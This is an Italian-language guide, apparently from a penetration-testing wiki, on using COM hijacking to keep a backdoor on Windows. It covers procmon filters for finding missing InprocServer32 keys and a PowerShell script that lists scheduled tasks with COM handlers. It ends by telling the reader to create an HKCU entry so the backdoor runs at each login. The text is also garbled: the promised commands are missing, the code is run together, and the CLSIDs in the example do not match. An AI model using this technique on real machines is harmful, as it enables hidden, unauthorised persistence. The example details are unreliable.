Poiché i valori di HKCU possono essere modificati dagli utenti, COM Hijacking potrebbe essere utilizzato come meccanismo persistente. Utilizzando procmon è facile trovare registri COM cercati che non esistono e che un attaccante potrebbe creare per persistere. Filtri:
Operazioni RegOpenKey.
dove il Risultato è NOME NON TROVATO.
e il Percorso termina con InprocServer32.
Una volta deciso quale COM inesistente impersonare, esegui i seguenti comandi. Fai attenzione se decidi di impersonare una COM che viene caricata ogni pochi secondi, potrebbe essere eccessivo.
Componenti COM del Task Scheduler suscettibili di hijacking
I Task di Windows utilizzano Trigger personalizzati per chiamare oggetti COM e poiché vengono eseguiti tramite il Task Scheduler, è più facile prevedere quando verranno attivati.
# Mostra gli ID delle classi COM$Tasks =Get-ScheduledTaskforeach ($Task in $Tasks){if ($Task.Actions.ClassId -ne$null) {if ($Task.Triggers.Enabled -eq$true) { $usersSid ="S-1-5-32-545" $usersGroup =Get-LocalGroup|Where-Object { $_.SID-eq $usersSid }if ($Task.Principal.GroupId -eq $usersGroup) {Write-Host"Nome Task: " $Task.TaskNameWrite-Host"Percorso Task: " $Task.TaskPathWrite-Host"CLSID: " $Task.Actions.ClassIdWrite-Host } } }}# Esempio di output:<strong># Nome Task: Esempio</strong># Percorso Task: \Microsoft\Windows\Esempio\# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}# [altre righe simili...]</code></pre>Controllando l'output, puoi selezionare uno che verrà eseguito **ogni volta che un utente effettua l'accesso**, ad esempio.
Ora cercando il CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** e in HKLM e HKCU, di solito scoprirai che il valore non esiste in HKCU.
```bash# Exists in HKCR\CLSID\Get-ChildItem-Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"Name Property------------InprocServer32 (default) : C:\Windows\system32\some.dllThreadingModel : Both# Exists in HKLMGet-Item-Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"| ft -AutoSizeName Property------------{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler# Doesn't exist in HKCUPS C:\>Get-Item-Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
Quindi, puoi semplicemente creare l'entry HKCU e ogni volta che l'utente effettua il login, il tuo backdoor verrà attivato.